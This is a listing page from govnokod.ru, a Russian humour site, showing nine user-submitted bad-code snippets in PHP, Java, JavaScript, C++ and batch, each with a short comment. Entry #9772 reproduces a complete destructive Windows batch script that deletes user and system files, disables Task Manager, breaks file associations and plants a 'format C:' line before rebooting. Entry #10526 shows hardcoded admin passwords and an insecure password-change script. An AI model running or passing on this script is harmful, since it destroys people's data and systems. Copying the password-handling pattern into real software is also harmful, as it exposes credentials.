1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #11278

    +66

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    // Масив с выбором
    if ($type=="textAr") {
    	foreach ($stext as $key=>$row) {
    		if ($key==$data) {
    			return $row;
    			break;
    		}
    	}
    }

    Кто-то тролит хостинг...
    Заменено на if ('textAr'==$type && isset($stext[$data]) ) return $stext[$data];

    domaster, 22 Июня 2012

    Комментарии (20)
  3. PHP / Говнокод #10928

    +52

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    <?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?>
    <?if (!empty($arResult)):?>
    <ul id="horizontal-multilevel-menu">
    <?
    $previousLevel = 0;
    foreach($arResult as $arItem):?>
    	<?if ($previousLevel && $arItem["DEPTH_LEVEL"] < $previousLevel):?>
    		<?=str_repeat("</ul></li>", ($previousLevel - $arItem["DEPTH_LEVEL"]));?>
    	<?endif?>
    	<?if ($arItem["IS_PARENT"]):?>
    		<?if ($arItem["DEPTH_LEVEL"] == 1):?>
    			<li><a href="<?=$arItem["LINK"]?>" class="<?if ($arItem["SELECTED"]):?>root-item-selected<?else:?>root-item<?endif?>"><?=$arItem["TEXT"]?></a>
    				<ul>
    		<?else:?>
    			<li<?if ($arItem["SELECTED"]):?> class="item-selected"<?endif?>><a href="<?=$arItem["LINK"]?>" class="parent"><?=$arItem["TEXT"]?></a>
    				<ul>
    		<?endif?>
    	<?else:?>
    		<?if ($arItem["PERMISSION"] > "D"):?>
    			<?if ($arItem["DEPTH_LEVEL"] == 1):?>
    				<li><a href="<?=$arItem["LINK"]?>" class="<?if ($arItem["SELECTED"]):?>root-item-selected<?else:?>root-item<?endif?>"><?=$arItem["TEXT"]?></a></li>
    			<?else:?>
    				<li<?if ($arItem["SELECTED"]):?> class="item-selected"<?endif?>><a href="<?=$arItem["LINK"]?>"><?=$arItem["TEXT"]?></a></li>
    			<?endif?>
    		<?else:?>
    			<?if ($arItem["DEPTH_LEVEL"] == 1):?>
    				<li><a href="" class="<?if ($arItem["SELECTED"]):?>root-item-selected<?else:?>root-item<?endif?>" title="<?=GetMessage("MENU_ITEM_ACCESS_DENIED")?>"><?=$arItem["TEXT"]?></a></li>
    			<?else:?>
    				<li><a href="" class="denied" title="<?=GetMessage("MENU_ITEM_ACCESS_DENIED")?>"><?=$arItem["TEXT"]?></a></li>
    			<?endif?>
    		<?endif?>
    	<?endif?>
    	<?$previousLevel = $arItem["DEPTH_LEVEL"];?>
    <?endforeach?>
    <?if ($previousLevel > 1)://close last item tags?>
    	<?=str_repeat("</ul></li>", ($previousLevel-1) );?>
    <?endif?>
    </ul>
    <div class="menu-clear-left"></div>
    <?endif?>

    Очередной говнокод от битрикса. "Генерация" выпадающего горизонтального меню.

    avtorfox, 12 Июня 2012

    Комментарии (20)
  4. JavaScript / Говнокод #10608

    +160

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    switch (achievements.length) {
      case 0: return 0;
      case 1: return 30;
      case 2: return 60;
      case 3: return 75;
      case 4: return 90;
      case 5: return 100;
      default: return 0;
    }

    зато не if'ы

    dimalev, 07 Июня 2012

    Комментарии (20)
  5. PHP / Говнокод #10526

    +70

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    <? // файл data/conf/config.php
    $user = array (
    "0" => array("administrator", "bita98"),
    "1" => array("ml.administrator", "select11"),
    "2" => array("moderator", "argument19")
    );
    ?>
    
    <? // Другой файл, для смены пароля
    $pass = $_POST["pass"];
    $new_pass = $_POST["new_pass"];
    
    $files = file('data/conf/config.php');
    foreach ($files as $key=>$value)
    {
    $files[$key]=str_replace($pass, $new_pass, $value);
    }
    
    $f = fopen("data/conf/config.php","w+");
    foreach ($files as $keys=>$values)
    {
    fwrite($f,$values);
    }
    fclose($f);
    
    echo "<h2>Пароль " . $pass . " пользователя " . $_SESSION["username"] . ", был изменен на " . $new_pass . "</h2>";
    
    $_SESSION['password'] = null;
    $_SESSION['password'] = $new_pass;
    ?>

    Вот как нужно редактировать массивы в исходниках!
    cbr-admin.v2.1.7

    alex322, 02 Июня 2012

    Комментарии (20)
  6. Java / Говнокод #10324

    +74

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    public static boolean isBouncy(long n) {
    	boolean isBouncy = false;
    	String num = Long.toString(n);
    	String[] seperateDigits = new String[num.length()+1];
    	for (int i=1; i <= num.length(); i++) {
    		seperateDigits[i] = num.substring(i-1,i);
    	}
    	int firstDig = Integer.parseInt(num.substring(0,1));
    	int cDig;
    	int iDeg = 0;
    	int cDeg = 0;
    	int dig0;
    	int dig1;
    	for (int i = 2; i <= seperateDigits.length-1; i++) {
    		if (!isBouncy) {
    			dig0 = Integer.parseInt(seperateDigits[i-1]);
    			dig1 = Integer.parseInt(seperateDigits[i]);
    			if (i == 2) iDeg = getDegree(dig0, dig1);
    			else {
    				cDeg = getDegree(dig0,dig1);
    				if (iDeg == 0) iDeg = cDeg;
    				else if (cDeg == -iDeg) isBouncy = true;
    			}
    		}
    	}
    	if (iDeg == 0) isBouncy = false;
    	return isBouncy;
    }

    http://projecteuler.net/problem=112
    http://projecteuler.net/thread=112&page=6#63821


    >Nothing intuitive about it at all

    TheHamstertamer, 19 Мая 2012

    Комментарии (20)
  7. C++ / Говнокод #10120

    +25

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    /*
        Шаг по оси, представляет собой число из следующего ряда:
        ... 0.02 0.05 0.1 0.2 0.5 1 2 5 ...
        next и prev позволяют перемещаться в обе стороны по ряду
        после создания хранится число 1
    */
    class Step
    {
    public:
        Step()
        {
            scale = 1; pr = 1; type=0;
        }
        void next()
        {
            // шаг вперед
            type++;
            if (type==1)
                scale = pr * 2;
            else if (type==2)
                scale = pr * 5;
            else
            {
                type = 0;
                pr *= 10;
                scale = pr;
            }
        }
        void prev()
        {
            // шаг назад
            type--;
            if (type==0)
                scale = pr;
            else if (type==1)
                scale = pr*2;
            else
            {
                type = 2;
                pr /= 10;
                scale = pr*5;
            }
        }
        operator float()
        {
            return scale;
        }
    protected:
        float scale;    // текущее значение
        float pr;       // недомноженое значение 1 10 100 ...
        int type;       // 0 - x1 1 - x2 2 - x5
    };

    http://govnokod.ru/10117 напомнил о том, как я когда-то рисовал график, и для меток на осях потребовались те же самые красивые значения [... 0.1 0.2 0.5 1 2 5 ...]

    bormand, 30 Апреля 2012

    Комментарии (20)
  8. PHP / Говнокод #10060

    +102

    1. 1
    2. 2
    3. 3
    <html class="html">
    .............
    </html>

    Бывает и такое

    Hits, 27 Апреля 2012

    Комментарии (20)
  9. Java / Говнокод #10014

    +92

    1. 1
    "".equalsIgnoreCase(propertiesFile) != true

    индусское достояние

    Desperate, 22 Апреля 2012

    Комментарии (20)
  10. C++ / Говнокод #9801

    +999

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    template<class TVisitedComponentList>
    	TUniqueIDOfVisitedComponentList getUniqueIDOfVisitedComponentTypeList(void)
    	{
    		static Type2Type<TVisitedComponentList> UniqueObjectForVisitedComponentTypeList;
    		return (size_t)(&UniqueObjectForVisitedComponentTypeList);
    	}
    
    	template<class TVisitedComponentList>
    	TCastWindowComponentTo* const castWindowComponentInternal(PegThing* const Window)
    	{
    		ASSERT(Window!=NULL);
    		if(Window==NULL)
    			return NULL;
    		STATIC_CHECK(!(boost::mpl::empty<TVisitedComponentList>::value), TVisitedComponentList_must_be_not_empty_and_be__boost_mpl_list_c__type);
    		const TUniqueIDOfVisitedComponentList UniqueIDOfVisitedComponentList=this->getUniqueIDOfVisitedComponentTypeList<TVisitedComponentList>();
    		const TCasterRepositorys::const_iterator NotFound=_casterRepositorys.end();
    		TCasterRepositorys::const_iterator findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
    		if(findedCasterRepositoryForThisVisitedComponentList==NotFound)
    		{
    			this->registerVisitedComponentList<TVisitedComponentList>();
    			findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
    		}
    		ASSERT(findedCasterRepositoryForThisVisitedComponentList!=NotFound);
    		const TCasterRepository::const_iterator NotFoundCaster=findedCasterRepositoryForThisVisitedComponentList->second->end();
    		const unsigned int ComponentType=const_cast<PegThing* const>(Window)->Type();
    		const TCasterRepository::const_iterator findedCaster=findedCasterRepositoryForThisVisitedComponentList->second->find(ComponentType);
    		if(findedCaster==NotFoundCaster)
    			return NULL;
    		ASSERT(findedCaster!=NotFoundCaster);
    		return (*(findedCaster->second))(Window);		
    	}
    
    	template<class TCurrentItem, class TEnd>
    	void registerVisitedComponentListItem(TCasterRepository& casterRepository, TCurrentItem CurrentItem, TEnd End)
    	{
    		using namespace boost;
    		enum {WINDOW_COMPONENT_TYPE=mpl::deref<TCurrentItem>::type::value};
    		STATIC_CHECK((mpl::has_key<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::value!=0), WINDOW_COMPONENT_TYPE_must_be_at_TWindowComponentsTypeIdToTypeMap);
    		typedef mpl::at<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::type TRealTypeOfWindowComponent;
    		this->checkDuplicateComponentTypeID(WINDOW_COMPONENT_TYPE, casterRepository);
    		struct _
    		{
    			static TCastWindowComponentTo* const casterForEachWindowComponent(PegThing* const Window)
    			{
    				ASSERT(Window!=NULL);
    				if(Window==NULL)
    					return NULL;
    				TRealTypeOfWindowComponent* const RealTypeComponent = static_cast<TRealTypeOfWindowComponent* const>(Window);
    				ASSERT(RealTypeComponent!=NULL);
    				TCastWindowComponentTo* const FinalCastedWindowComponent = static_cast<TCastWindowComponentTo* const >(RealTypeComponent);
    				ASSERT(FinalCastedWindowComponent!=NULL);
    				return FinalCastedWindowComponent;
    			}
    		};
    		TCasterForEachWindowComponent CasterForEachWindowComponentFunction=&(_::casterForEachWindowComponent);
    		this->checkDuplicateType(CasterForEachWindowComponentFunction, casterRepository);
    		casterRepository[WINDOW_COMPONENT_TYPE]=CasterForEachWindowComponentFunction;
    		registerVisitedComponentListItem(casterRepository, mpl::next<TCurrentItem>::type(), TEnd());
    	}
    
    	template<class TEnd>
    	void registerVisitedComponentListItem(TCasterRepository& casterRepository, TEnd CurrentItem, TEnd End)
    	{}

    Код из того же большого проекта.
    Ассерты после static_cast и "шаблонная магия" особенно доставляют.
    Мне конечно boost::mpl нравиться, но я считаю, что его негоже использовать в реальных проектах.

    Говногость, 29 Марта 2012

    Комментарии (20)
  11. Куча / Говнокод #9772

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    @echo off 
     echo Chr(39)>%temp%\temp1.vbs 
     echo Chr(39)>%temp%\temp2.vbs 
     echo on error resume next > %temp%\temp.vbs 
     echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs 
     echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs 
     reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f 
     start %temp%\temp.vbs 
     start %temp%\temp1.vbs 
     start %temp%\temp2.vbs 
     del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul 
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     assoc .lnk=textfile 
     assoc .exe=mp3file 
     @echo off 
     :x 
     Chcp 1251 
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     goto x 
     Chcp 1251 
     del "%USERPROFILE%Мои документы*.*" /q /s 
     label E: ГАВНО 
     Cd\ 
     Cd C: 
     Сd windows 
     del *.exe 
     del *.ini 
     del *.com 
     cd\ 
     cd windows 
     cd system 
     del *.dll 
     del *.exe 
     del "%SystemRoot%Cursors*.*" >nul 
     taskkill /f /im explorer.exe >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 
     date 01.01.01 >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul 
     FOR /L %%i IN (1,1,100000) DO md %%i 
     Echo format C: /q c:Autoexec.bat 
     shutdown -r -t 0 >nul

    Это bat (cmd) код. Наткнулся на просторах интернетов.

    space_man26, 26 Марта 2012

    Комментарии (20)